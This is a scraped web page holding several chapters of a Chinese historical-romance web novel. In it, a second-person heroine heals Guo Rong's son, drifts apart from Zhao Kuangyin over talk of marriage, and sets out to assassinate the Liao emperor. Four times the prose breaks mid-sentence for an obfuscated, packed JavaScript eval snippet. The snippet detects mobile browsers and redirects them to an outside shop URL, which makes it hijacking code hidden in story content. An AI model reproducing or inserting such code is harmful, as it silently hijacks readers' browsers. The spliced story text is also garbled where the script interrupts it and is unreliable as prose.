邺都的灶台和赵匡胤不熟,三天两头塌。第一次塌,你还嘲笑他,说赵大哥,这个家里可不止我一个人会把厨房炸掉。 后面多塌了几次,你就觉得不对劲了。 该不会是风水不对吧。 你早已不敢插手任何厨房相关的事项,在屋子里跑来跑去挪家具的位置。 东方风水学就这点最好。 别责怪自己,怪家具吧。 赵匡胤听完你的歪理,被你气笑了。 他当天下午又多一件事要干。 把家具挪回去。 你说不用了不用了真的不用了。 他说你回头从床上滚下来就知道了。 你乖乖闭嘴。 有一次,午后他刚来,太阳还在天上挂着呢,就下了雨。 是太阳雨! 院子里的枣树叶子被雨打得轻轻响,像什么人在翻一本永远翻不完的书。 你们俩在厅堂门口看雨。 雨不大,风也不大,吹过来的雨丝细细的,凉凉的,太阳又暖暖的。 成片的阳光被雨切割开来,漏在地上,成了破碎的金块。风一吹,那些金色的碎片就摇动起来。 好漂亮! 你兴奋地转过头去,和赵匡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517972|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胤说。 或许是因为午后的阳光和雨点,他的侧脸不像平日里那样锋利,线条软下来,眼眸一眨不眨地看着你。 赵大哥? 赵匡胤自然地把眼神收回来,说你最近不好好吃蔬菜,头发都不像以前那样黑漆漆的了。 我又不是真的神女嘛。 你心里有一种很奇怪的感觉。 有人长时间和你待在一起,耐心地爱惜你。外面的世界是杂乱的、潮湿的、泥泞难行的,但你的世界是温暖的、干净的、平静安宁的。 晚上吃炖羊肉! 正好赵大哥也爱吃!完美! 过了些日子,郭荣来找你。 他有些事要请你帮忙。 他的幼子又生病了。 请了许多大夫不见好,妻子的家信加急送过来,哀哀求他一定要把神女请来。 他们夫妻只有这一个孩子,死不得的。 唉。 郭荣特地派赵匡胤与你同行。 等急急赶去汴梁,见了那孩子,果然已经不大好了。他烧得满头是汗,细软的黑发贴在头皮上,一缕一缕的。 你摸上去,那些汗是凉的,带着一股微弱的酸味。 你把他抱在怀里,用耳朵去听他的心音。 这孩子的呼吸又急又浅,小胸脯一起一伏的,被你紧紧抱着,费力地睁开眼睛,小声地叫神女姐姐。 你身上的药还有一些,大概是最初的一半。 你非常努力地俭省。你经历了那么多病人,又和军中的医官学习过,你现在的医术也挺像模像样的,一般不会动用你的存货。 但这孩子显然是需要用到的。 衣不解带看护了三四天,小孩终于大好。 在第五天早上,他已经可以坐起来喝肉粥和羊奶,一双大眼睛滴溜滴溜的,脆生生喊要阿娘。 郭荣的妻子是彭城县君,姓刘,来往诸人都叫她刘娘子。 刘娘子简直对你感激涕零,见你揉着疲惫的眼睛进来,冲过来就要下拜。 使不得使不得。 你赶快把她扶起来。 然后你摸到了她的手腕。 嗯? 喜脉。 几个大夫同你的意见一致,认为很可能是双胞胎。 真是天大的喜事。 郭府上下像过节一样。 这下真推不掉郭府的宴请了。 家宴规模很小。 刘娘子执着你的手,信誓旦旦地保证:“我要为你备一份嫁妆,这嫁妆要比汴梁所有女子都要更好!” 她的脸圆圆的,很讨喜。 你下意识笑。 刘娘子见你笑,更加确信自己心中的猜测,又问:“日子定的是哪天呢?” 你茫然道:“什么日子?” 9. 思慕 刘娘子看了看你。 她有些迷惑了。 “你……”她的声音轻了些,尾音微微上扬,带着一点不确定,“不是……” 她没有说完。 但是她停顿的时间几乎约等于无,非常自然地滑到下一句话:“我是想着,你这样的好姑娘,应当许了人家才对。是我先入为主了,你不要怪我好不好?” 你道:“没事。” 这有啥。 你年龄正当时,又长得出挑,只是因为武力高强、医术高明,众人认识你的时候,就已经把你捧在了高位。 自然没人敢对庙里供着的神女起心思,更没人会有胆子尝试给神女保媒—— 谁来配你呢? 惹怒你了,怎么办呢? 惹得你伤心了,怎么好呢? 偶尔有胆子大、人活泼的婶子,旁敲侧击地问一句你可有看得上眼的郎君,你一句“没有”,就足够把话挡回去了。 你不像是喜欢谈这种话题的样子。 来来往往的人们最会看眼色了。 更何况他们来找你,多半是有求于你。 与你相熟的那些大哥姐姐们更是从来不问。 日常琐碎的事情那么多,忙忙碌碌地塞满了全部时间。 因此,你被人问婚姻状况是极少见的情形。 “也就是我们家没有合适的。”刘娘子笑道,“青哥成婚了,意哥也订婚了,要是父亲还有个与你同龄的儿子就好了。” 刘娘子说的“青哥”和“意哥”,是指郭威先生的亲生儿子,近日不在汴梁。 刘娘子的眼神飘忽了起来,她在脑中将汴梁所有的适龄未婚男性挨个挑选,挑来挑去也没有个合适的,最后还是遗憾地重复: “若令柔有个同胞兄弟就好了……令柔这个年龄恰恰好。” 郭令柔是郭威先生的亲生女儿,今日也陪在宴席上,闻言眼睛都亮了:“嫂嫂嫂嫂!什么叫做我的年龄恰恰好!姐姐愿意的话,我可以娶她吗!” 席上一下子笑开了。 刘娘子笑得拿帕子掩着嘴,肩膀一耸一耸的。旁边丫鬟们也憋不住,别过脸去,咬着嘴唇,眉眼弯成了月牙。 郭令柔被大家笑得脸通红。 “令柔,”刘娘子忍着笑,把帕子从嘴边拿开,“你是姑娘,姑娘不能娶姑娘。” 正在这时,奶娘牵着宜哥进来了。 郭荣和刘娘子的儿子叫宜哥,他就是你这次回汴梁的原因。 他刚睡醒,揉着眼睛看了看席上的人,好奇地问:“笑什么?” 刘娘子把他从奶娘手里接过来,放在膝上,三两句简述了一下。 宜哥歪着脑袋,他想了想,迫不及待地宣布:“我是男的!我可以娶神女姐姐!” 他说完,从刘娘子膝上滑下来,摇摇晃晃地跑到你面前,仰起脸,满眼希冀:“神女姐姐,我把所有的钱都给你。” 席上的人笑得不成样子。 “你枕头底下才有几文钱?这点钱还想娶媳妇儿?”刘娘子一边笑一边揭穿自己的儿子。 宜哥涨红了脸,分辨道:“以后我会和爹爹一样的!爹爹是什么样子,我就会是什么样子!” 刘娘子道:“好了好了。” 她把儿子抱回来:“人家姐姐要嫁也是嫁世界上最厉害的大英雄,你连蔬菜都害怕吃,以后怎么当大英雄?” 宜哥脸红得像煮熟的虾,把头埋进刘娘子怀里不肯出来,露出一双红透了的耳朵尖。 他嘟嘟囔囔,难为情地说:“没有怕、娘亲你别说了……姐姐不喜欢我了……” 小孩子实在是太好玩了。 宴席散的时候,宜哥趁奶娘不备,迈着两条小短腿跑过来找你。 他双手捧着一只小漆盒。 那只漆盒不过成人巴掌大小,宜哥把它捧到你面前,踮起脚尖,努力举高。 “神女姐姐,”他仰着脸,眼睛亮晶晶的,“给你。” 你蹲下来,他立刻把小漆盒塞进你手里,像是怕你推辞,塞完就把手背到身后去了。 你揭开盒盖,里面静静躺着两块莲花饼。 非常精致的糕点。 花瓣层层舒展,每一瓣都染着茜粉色,由深及浅。饼底下垫着一小张绿箬叶,显得清新可爱。 “宜哥最喜欢的,”他说,声音小小的,带着一点奶气,“送给姐姐。姐姐也喜欢好不好?” 奶娘追过来,一边道歉一边弯下腰抱走了他。他眼睛看着你,甜甜的笑,露出几颗小米牙,趴在奶娘肩头,还扭着身子,朝你挥了挥小手。 人类的幼崽怎么如此可爱。 你被可爱到失语,迷迷蒙蒙地出了郭府,赵匡胤在外面等你。 既然事情已经结束,你自然不愿意再住在郭府——毕竟是人家家里,住着也不自在。 你打算在自己的院子里稍停两日,采买些东西,再回邺都去。 来的时候火急火燎,一落地又连续高强度工作,这下终于松懈下来,周围的世界仿佛一下子鲜活了起来。 你四处打量汴梁的夏日傍晚。 太阳西沉,暑气褪去,滚烫了一日的青砖慢慢凉了下来。 天幕辽阔坦荡,远处城楼、坊墙、寺院飞檐的轮廓被落日勾勒得十分温柔。 风拂过,带来凉润的气息,汴梁是“四水贯都”的城池,一眼望去,只见城中水面波光碎落。 民居纷纷开了门,妇人坐在门槛边择菜,孩童成群结伴在街巷树荫追逐嬉闹。 有动作快的人家,已经生火起灶,院子里炊烟丝丝缕缕升起。 好快活、好安逸的时间。 爽之! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517973|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵匡胤与你在城中缓步而行。 你们在芸芸众生之中。 本来,赵匡胤说他送你回去休息,然后他要出去一趟。 去干嘛呀? 你问。 买点菱角。 他说。 我也要去。我还不累。 你宣布道。 于是就一起去了。 御街中段,汴河桥下,是水陆码头,河船停驻于此,贩卖新鲜的脆藕、菱角、芡实。 有船家顺便卖葵菜、马齿苋等新鲜蔬菜,见你们似乎颇为殷实,便殷勤地张口兜售。 就是挑错了兜售对象。 他找上了你。 天知道你和家里的厨房是怎样最熟悉的陌生人。 你兴致勃勃地听了一串蔬菜名字。 发现自己没有一个爱吃。 船家估计从未遇见过你这么挑食的人,一时不知该说什么好。 其实你不是特别挑食的,都怪这个时代的蔬菜不好吃。 可能是年代太早了。 菜种还没有改良好吧。 有些肉也很不好吃,一股奇怪的味道。这会儿调料又少。 船家讪讪地说:“娘子是娇客。” 语气挺复杂。 你完全不在意。 因为你客观事实上确实很挑嘴,是挺烦人的。 赵匡胤在你身后说:“是,她这点最可怜了,就只有几样爱吃的东西。” 你没听到,你的注意力已经转移到那些新鲜的可爱莲蓬上去了。 倒是船家一愣,忽然抬眼看向赵匡胤,脸上有点恍然大悟的影子,似乎因着那句话,猛然对他们之间的关系有了新的认识。 赵匡胤被他这么一看,心里倒是有几分失言的后悔。 可刚才那句话完全是由心里吐露出来,他主观上并没有觉得这话有什么,因为只是句实话罢了。 或许在旁人看来很明显吧。 一个萍水相逢的船家都这样轻易地看出来了,也不知还有哪些人看明白了他这份不好见人的心思。 赵匡胤颇为烦恼,可那烦恼里又带着点忐忑不安的甜蜜滋味。 他原只是想对你好,你开心了他也开心。 你若是有心仪的男子,他只默默祝福。 只是那人必须得英雄气概,必须得当世翘楚,必须得真心恋慕你。 ——最后一项倒是容易,他想不到谁会不喜欢你。 可你身边根本没有其他要好的男子。 他怎么控制住自己不去贪心妄想呢? 你又是否明白他的心思呢? 若真是全然无望,死了心,反而倒是踏实。 可这样前途未卜,又似乎有些微茫的希望,他便一刻不停地心魂惘惘、一刻不停地受着甜蜜的折磨。 10. 古道马迟迟 事实证明你也不爱吃菱角。 你觉得它们带着湖水的腥。 你能吃的那个品种还没有在时间的长河里培育出来呢。 可惜了赵大哥的好意。 你还以为他自己爱吃才去买的呢。 回到家时,你发现隔壁空着的院子搬了一户人家进来。 一对夫妻,带着两个孩子。 你进院子没多久,院门被人叩响了。 打开门,有个妇人站在门口,手里端着一碗腌菜。 她身后跟着个小女孩,小孩攥着她的裙角,露出半张脸来看你。 妇人姓周,夫家是打铁的。 她不好意思地笑了笑,说没什么好东西,自己腌的芥菜,给你尝尝。 你把人请进来,可是家里没什么吃的,只能把刚才赵大哥放在厅堂桌子上的一盒莲子端出来待客。 周姐姐和你攀谈,说一看你就是个细心的人。 你真不知道她从哪看出来的。 反正是看错了。哈哈。 小女孩吧唧吧唧地吃着莲子,动作飞快。你本来想说几句客套话就送客,看她吃的那么高兴,只好和周姐姐继续攀谈下去。 周姐姐和她的丈夫是二婚家庭。 两边都丧偶,各带了一个孩子。 搭伙过呗。他顾他的孩子,我顾我的孩子。 周姐姐说。 这种第一面就谈深度话题的交浅言深让你有些不自在,但是毕竟是邻居。 不会的,感情处处就深了。 你说着自己都未必信的话。 周姐姐看了你一眼,用过来人的语气说:“你哪懂这些。” 她在日复一日中积蓄了许多话,实在是没有人可说。这个晚上她终于等到一个似乎合适的机会,终于可以谈一谈她自己。 婚后有数不尽的委屈。 半路夫妻都是贼,各有各的心思,永远不会一条心。 你很是听了些夫妻间的嫌隙,听得毛骨悚然。 好在小女孩终于吃够了,乖乖牵着妈妈,乖乖和你告别。 好乖。 这桩婚姻完全就是为了孩子。 不过也算求仁得仁了。 听周姐姐说,现在的丈夫对小孩还算大方。 你把她们送走,回来收拾碗的时候,才终于发现为什么周姐姐说你细心。 那一盒莲子是去过芯的。 用细竹针从新鲜莲子底部凹处刺入,斜向上顶出整条苦芯,外表看起来完整,但吃起来一点苦涩腥味都没有,只剩下清甜口感。 难怪那孩子这么喜欢。 赵大哥什么时候费的心思呢? 你真没留意。 他一直对你这样好,像温水泡着一样,你习惯到几乎察觉不出来了。 这一刻,你有些赧然。 赵大哥第二天来,看到干干净净的碗,很是高兴,他以为你爱吃莲子,说那天是傍晚去买的,还不够好,明日他去寻最早的船家,最新鲜的莲子,你肯定更喜欢。 你连忙拦下,说明了昨日的情况。 说完了,又说了昨日郭府的事情。 赵大哥对你这样好,你什么事都不应当瞒着他的。 你原只是随口说的,因这算是桩趣事。 不曾想他竟真为你参谋起婚事来,脸上显出端凝神色来。 看来真的很为难。 就像刘娘子一样,想遍了也想不到合适的。 你原本也不上心,并不当回事,昨晚听来的那些互相算计的事情漫上心头,顺势便说: 算了,太麻烦了,还是不要了。 婚礼。郎君。孩子。 这些词语陌生得有些可怖。 赵大哥问,怎么不要了?我原以为你终于考虑了。 因为想起来就很烦,一点也不喜欢,不知道什么人会喜欢。 你漫不经心地找借口,并不真心这么以为,和熟人待在一起,因为预知了对方的包容,总是容易说些不过脑子的话。 赵大哥脸上闪过一丝隐晦的受伤。 你看见了,有些懊悔。 都怪你,你不该这样轻慢地评价其他人普遍拥有的生活方式。 往后赵大哥也是要走到这一条普世的道路上去的,同那些爱护你的大哥姐姐们一样。 成亲、生子,人年轻的时光毕竟是短的。 原是要立刻道歉的,可是又觉察出他对这情绪的遮掩来,你顿了一下,错过了这个话口,后面便不好再开口了。 在汴梁停了两天,你们便返程前往邺都。 日前那场不算口角的意念相左之后,你再看见赵匡胤,心里都有些发怵。 你心里觉得是自己错了,可是又有些怨他,想他应当知道你并不是有意要刺他两句,为什么把你想成那种故意用话伤他的坏人。 不需旁人提点,你自己就立刻觉察到自己这念头是如何蛮不讲理、恃宠生娇。 旁人如何想你,你都不在乎,知道人与人之间向来尽是言不达意,于是都轻飘飘地略过。 怎么他只是稍对你有些误解,你就这样受不了,要反过来恨他。 怎么他对你好,还成了他的错。 你实在觉得羞愧,心绪难平,不知自己怎么变成这样的人,下意识便避着他。 他好像也觉知到了,见了面说了话,总是很不自在。 从汴梁到邺都,需一路往北。 起初是宽阔笔直的官道。 过黄河的时候,走的是河阴渡口。 黄河水浊,水势汹涌,渡船不大,他嘱咐了几句要紧的——其实来的时候就都说过一遍了,但你还是都答应下来。 过了河,往北的路就差了许多。 河北诸镇连年征战,官道失修,路面坑坑洼洼的,有的地方被雨水冲出了沟壑,马匹走过去要格外小心。 田埂上的野草倒长得茂盛,野意十足。 天地之间这样荒凉。 你和他之间也难得这样安静。 “累不累?要不要休息?”赵匡胤问。 “不累。”你只有这一个答案,说完便没有别的话了。 其实有一点累,但你如今不好意思对他说了。 走了半途,宜哥给你的那盒莲花饼终于不得不吃了。 你舍不得吃。 你喜欢郭家的小孩。 这种老式糕点重油重糖,北方天气干燥,又不怕回潮,是能放上十天半个月的。 可毕竟不能长久放下去,总要坏的。 你同赵大哥分享。 刚咬了一小口,就察觉到口感不太对。 再一看,饼身僵硬,干得有些缩水了。 已经开始坏了。 自然是不能吃了的。 你颇为伤心,觉得自己怎么把喜欢的好东西都弄坏了,明明你原本只是舍不得。 你伤心到都不能看见那盒漂亮的莲花饼了,也不舍得自己扔,只好麻烦赵大哥了。 赵匡胤起先没有旁的想法,你好不容易又愿意拜托他做些事情,他没有不答应的。 可你避开之后,他才发现手上那漂亮精致的糕点上留着个牙印。 小小的、可爱的牙印。 他这些日子尽是惴惴不安,不知该不该把你的话理解成对他隐晦的拒绝。 如若不是,你为何要躲着他呢? 可这么理解的话,之后要怎么办呢? 有时他又笃定你那些话是无心的,并不针对他。 可这样也让他不知该如何是好。 哪怕你心中属意那些威风凛凛的将门麟子、清介端方的如玉君子,他也好歹有个努力的方向。 可你明确说了谁都不喜欢、谁都不愿意的话。 反正不管是哪种,你的意思都是,他没有可能。 他没有可能以更亲密的身份接近你。 你总避着他。 好在这一路必须同行,避也避不开去。 但回到邺都之后呢? 往后要怎么是好呢? 都是他的错。 是他贪心。他不该去碰那个话题的。他不该去问、不该去试探的。 试探出这样的答案,都怪他。 赵匡胤隐约看见了坏结局的影子,又不愿意去承认,有时候感觉非常绝望,有时又乐观着,觉得总会有办法去改那个结局的。 这样的迷茫惘然之中,忽然那个沉甸甸的小盒子落在手上。 他几乎是全凭本能地把它藏了起来,之后才发现这行径实在荒唐。 之前那些好意,还能强作辩护,扭曲成兄长的爱护。 可这一桩——若是被你发现了,当真不知该怎么说了。 虽然他连隔空摸一摸那牙印都不好意思,看也看得少,揣在怀里便觉得心慌意乱,平白无故给自己找了个要命的负累。 但要他扔开去,更是全然不愿。 他自己也不明白自己了。 独处时终于放松下来,临水打量自己,总觉得脸上有一种暗藏的苦笑的感觉。 这么惴惴不安地怀揣着秘密回到邺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517974|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都,赵匡胤勉强模仿着从前的模样,自觉模仿得非常像。 但弟兄们倒是一个两个看出问题来,酒后状似不经意地问他是不是同你起了什么隔阂矛盾,又劝他男子汉大丈夫,不是自己的错也认个错吧。 唉。 怎么认错呢?说他从此以后会都改了?再也不这样了? 他自己都不信。 之前心中思量的那两个可能的答案,他到而今,想着应当是前者吧。 是你人好,意会了他的心思,心中不愿,又怕破坏了这乱世中难得的情谊,所以这样隐晦。 不然怎么见了他就这么不自在。 应当就是这样的。 起初,他如面对过去遇到的所有困境一般,鼓舞自己要坚韧不拔、要锲而不舍,总有一天事情会有转机的。 后来又想,可是这样你会很烦恼的。你又对他无意。 ……唉。 这么一想,又怎么舍得让你为了他不开心不高兴。 赵匡胤这边全无进展,甚至情况更加恶化,弟兄们只好换了个方向,求着自家娘子去你那里讲讲好话。 姐姐们都不应,说干嘛干嘛干嘛,不愿意就是不愿意。 几个弟兄们瞪着眼睛问什么愿意不愿意的,都说到哪去了,和他们俩闹矛盾有什么关系? 原来一个个都是石头做的,眼盲耳聋。 娘子们高深莫测地不解释,更何况这种事也不好解释。对谁都不好。 日子混混沌沌过,明白的明白,不明白的就糊涂着吧。 后来还是你自己想通了,先把这一页揭了过去,还像往日那样待他。 本来你也没察觉到他的真正意思。以为不过是小的芥蒂,不知怎么闹得如此僵。 赵匡胤简直求之不得,仿佛从九幽狱中再窥人间。 他以你如今的情形倒推过去的事情,才辨明当日真相,确定他忧虑的全是没影的事。 虽然松一口气,但又有些惘然,想着不过是迟一日上刑场就死罢了。 但迟一日也是好的。 你们二人忽然和好如初,常往来的朋友们都不很明白。 可是毕竟是你们之间的事情,你们要如前一般,他们也都庆幸。 到底是不愿就这样分崩离析。 当义兄妹其实也很好的。 人世间的情感又何止一种呢。 但看明白了的人,没谁这么去劝赵匡胤。 都看明白了前因后果,自然也明明白白眼见他被折磨得厉害,她们就不要再去折磨他了。 日子稀里糊涂地过去。 邺都的这些日子,似乎与之前全无二致,一样的快乐,一样的年轻,可总让他在高兴时心里泛起苦闷,总让他在人声鼎沸时神思不属。 赵匡胤简直不能适应这种时时刻刻的揪心。 他记得自己去邺都之前还不这样。 他明明向来被人夸赞豁达洒脱。 可现在,他只感觉心头的血在博动,他似乎总感到急迫,可为什么而急迫又不甚清楚。 他这样日日夜夜不得安宁。 扰动他的东西——有时是焚烧他的烈火,有时是撕咬他的野兽,更多时候是从他心上掠过的美丽飞鸟。 有一次他要饮一壶麦酒,将那酒倒入碗中时,因不小心倒多了,那酒便涌起雪白的泡沫,咕嘟咕嘟漫出碗沿,流溢得不成样子。 他绝不是第一次见这景象,却第一次觉得触目惊心。 要溢出来只有一种原因。 太满了。 他的心统共只有这么大。 但凡有一个开口,那满腔的情意想必立刻如同烈酒一样咕嘟咕嘟地冲出来。 赵匡胤觉得非常可怕。 两心相许,情深才值得赞颂。 可若是一厢情愿,那未免太让她为难了。 他极力想要不落入某种不堪设想的局面,可现在连避开你都做不到了,他没法控制自己的身体去做这件事。他总是想见到你。 赵匡胤认为自己迟早有一天会去找你,然后将一切都说出来。他如今与自己的身体隔阂得厉害。 到时候他就要面对你真正的拒绝,你心中会真正涌起对他的不屑与鄙夷。或者更严重些,他从此以后就见不到你了,你要避嫌。 到时候就完了。那是一种他无法想象的严重后果。他一边告诉自己绝不能这样,一边又近乎自毁一样想死得明明白白。 他在虑虑不安之中度过了剩下的夏天。 公元949年的十月,契丹来犯。 11. 犯边 河北急报。 小皇帝命郭威以枢密使身份督军,率军北上。 郭威从当年五月便开始练兵,部署迅速,粮道打通,军中补给充足。 大军开拔,虽有些忙乱,但还算井然有序。 军中的气氛也不太一样。 之前是内乱,现在是国仇家恨的外战。 契丹、边关、千军万马。 战事打断了一切寻常的叙事。 战事也让赵匡胤前所未有地忙起来,有时一天竟只想起你一两次,可这一两次又与此前那种打通日夜的思慕不同,发作得尤为剧烈,有时简直要不顾一切趁夜奔驰,到你身边去——非如此,不能稍稍缓解他的焦灼不安。 叩你的门窗是绝不应当的,在你楼前站一会儿他就觉得很好了。 虽然都是见不到你,但是他认为那种见不到你要比他如今这种见不到要好上许多。 至于到底有什么不同,就非他本人不能明了了。 难怪从前会说,有人害了相思病,一病就死了。 也不知怎么舍得死的。 赵匡胤的军中常服是有抹额的,一条素色巾帛。 他是个武人,着甲了倒是比平日耀眼得多,不知怎配了条素色的。 你问起,他支吾过去,并不明言。后来你才知道原来人家那种带绣样特别好看的是家中妻子绣的。 可惜你没练过刺绣。 你这么浅浅地想了一句,并没有深究这背后自己的思路。 说真的也不怪你。正常谁会把自己和宋太祖往一起想。 你素日与军医营混在一起,如今倒真正称得上一句医术精湛。 武功上亦不曾荒废,只是还是老毛病,先天气力不够。这几年有所改善,但是不多。 不过战场与江湖比试本就不同。 便是怎样的天下第一,若是困于敌阵,面对四面八方敌方源源不断的骑兵,也只有力竭身死一个结局。 郭威先生并不赞同你出现在正面战场上,他的想法依旧是——你是顶尖的刺客。 只是契丹必定已经听闻之前那些叛将诡谲的“自焚而死”,对你有所防备,现在不是你出场的时机。 不过接下来事情的发展出乎所有人的意料。 因为契丹直接跑路了。 字面意思,跑路了,不打了,望风而逃了,不战而退了。 因为郭威先生威名太盛,契丹害怕了。 十一月中旬,郭威自领主力赴邢州,坐镇指挥,威慑辽境。 十一月底,辽军撤出汉境。 “契丹闻汉兵渡河,乃引去”。 那跑的很快了。 你不禁思索为什么自己的教科书上没有郭威先生。 最后只能得出结论—— 上下五千年,纵横三万轴,人还是太多了。 哪怕是万里挑一的天才也浩如河汉。 这个时代的时代之子另有其人。 宋太祖陛下。 赵匡胤在军中已有威名,且不单单是那种阵前斩将、万人敌的猛将之名。 诚然,他确实是。 但能打的人可不少。 赵匡胤的名声更复杂些:处事公允,能服众,交代下来的差事完成得十足漂亮。 郭威向来的态度都是:“元朗可用之材”。 郭荣倚重他为心腹,北征时他虽仍是个散指挥使,但郭荣将前锋斥候的调度交给了他。 “一见奇之、屡加擢用、委以心腹”。 眼看着是有个高级军官的位置在候着他,就等军功填上来。 契丹暂时退遁之后,郭威先生作为枢密使留守邺都,握河北重兵。 养子郭荣亦随他留守邺都。 契丹虽退入辽境,但仍陈兵边境。 无人敢当真以为战事就此落幕,可以班师回朝。 大军并未返程。 郭威一边整顿河北防务,一边清剿边境流窜的契丹残骑与趁乱劫掠的散兵游勇。 边地又与汴梁这样的城池不同。 兵革不息,生民涂地,降则终身夷狄,战则暴骨沙砾。 有一次,你在野地里找干净的水源,拨开乱草,竟在破瓦碎陶中看见层层叠叠的灰白碎骨。 不只是这一个地方。 被契丹一把火烧毁的断壁残垣里面,有更多零碎的骨头。 骨头叠着骨头,被人堆在一起放火烧了,烧也没烧干净,碎骨支离,在被同样烧毁的故园之中,与肮脏龌龊的猪骨、牛骨丢弃在一起。 野火野昏黑,纵横白骨余残烧。 或许对于契丹而言,本来他们也不觉得有差别。都是任人宰割的血肉。 你默然。 军中诸事繁杂,赵匡胤再见到你,已经是十二月初。 一个多月不见,明明你几乎毫无变化,但他不知怎么生出一股近乡情怯的陌生感。 然后你说你要去杀耶律阮。 耶律阮,后称辽世宗。 辽国的最高统帅,于前线亲自统兵,掌握着南征的最终决策权。 他延续了辽国皇帝“自将南伐”的传统,军权在握,是郭威此时面对的最重要对手。 赵匡胤又惊又怒,大将军怎么让你冒这种险? 你说,啊,和郭威先生没关系,我自己想去的。 你向来想做什么就做什么,没有谁差遣得动你。 如今正是趁势反攻契丹的好时机啊。 只要对方主帅暴亡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517975|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只是不巧对方的主帅就是对方的皇帝。 算了。皇帝就皇帝吧。 杀的就是皇帝! 你相信郭威先生是有能力也有意愿去乘胜追击的。 燕云十六州沦陷敌手已经一十二年。 你认为自己有点家国情怀。 和赵匡胤他们一样。 来都来了,机会都送到手上了。 你要当一个勇敢的人。 你只是告知赵匡胤一下。 你毕竟还叫他一声“大哥”。 赵匡胤简直不知该如何是好。他向来拿你没办法,可是如今更加前所未有地拿你没办法。 你这样斩钉截铁地做了决定,他们做大哥的其实已经不好再劝了。不是能劝的身份。 赵匡胤此时也顾不上什么身份不身份的了,一再让你思虑周全。他想自己肯定挺烦人的,可是此时烦人就烦人吧。顾不上了。 你说赵大哥,我确实想好了。 谁又没点骨气。 更何况天下还有谁比你的剑更利。 赵匡胤也说不出什么话了。 你们沉默地站在一起,偶尔有兵士路过窥视一眼,见这样双双的影子映在湖面,都笃定那里站着的是一对新婚夫妻,想必刚互诉衷肠,此时正依依不舍吧。 赵匡胤最后沉沉地说,我都支持你。你愿意做什么,我都支持你。 通知郭威先生此事时,他静默良久,最后竟敛容整衣,向你深深一揖到底。 你觉得他原本有更大的礼数在等着你,好在你经过刘娘子那事有了警觉,冲过去给人动作前摇打断了。 不行啊真的使不得啊您今年都多大了受完您这一礼真要折寿了到时候杀完对面皇帝要回不来了—— 人的想法真是多变。 你之前还想,要一直和大哥们姐姐们在一起。现在你竟然是主动远行的那个。 人生的境遇总是这样,当时固然是真心的,可现在也是真心的。 总之你启程了。 赵匡胤他们几乎是立刻就失去了你的音讯。 一别之后,两地相悬。 乱世之中,本就如此。 第二年年初,一月,耶律阮遇刺暴亡的消息传到护圣军中。 全军沸腾。 所有人都知道这意味着什么。 十二年里,不知多少儿郎埋骨,多少春闺望断。 如今敌酋授首——哪怕只是一线反攻的曙光,也足以让他们红了眼睛。 军帐内,校尉们已开始围拢舆图低声商议,眼里压着灼灼的光。 难道说收复燕云、恢复河山,就在眼前? 但是,你依旧和所有人都没有联系。 准确说,你失踪了。 12. 犹恐是梦中 探马发现契丹大军忽然全线撤退的时候,赵匡胤就知道你大约成功了。 之后流民与溃兵带来了只言片语,说辽国皇帝暴亡。 探子和内应传递来了相对准确的信息: “是夜,上与宗室数人饮于行帐。有侍婢进酒,袖中出刃,刺上左胁,没柄。上遽殂。帐中惊乱,刺客逸去,追之不获。” 从此之后就再也没有你的消息了。 你没有回到邺都,前线的哨位也没有任何与你相关的情报。 所以赵匡胤猜测,你大概率还滞留在辽境之中,暂时无法脱身。 赵匡胤十分忙碌。 他忙得要命,每天只能睡不到三个时辰,天不亮就要起来,等一切结束,往往已经是后半夜了。他合衣躺下,很快就又该起来了。 偶尔有个一刻的空闲,他也不想待在人群里——他是很喜欢热闹的,这一刻倒想要安静,看着远山苍苍,只觉日色凄冷。 战场的形势变化得很快。 耶律阮在位期间,辽国便政局动荡。 他突然暴亡,巨大的权利真空之下,契丹内部立刻乱作一团。 前线的辽军失去统帅,各部首领为了保存实力火速撤回草原,河北前线的军事压力瞬间瓦解。 但这还不够。 经过大半年的备战,郭威此时手上兵马皆备,粮草充足。 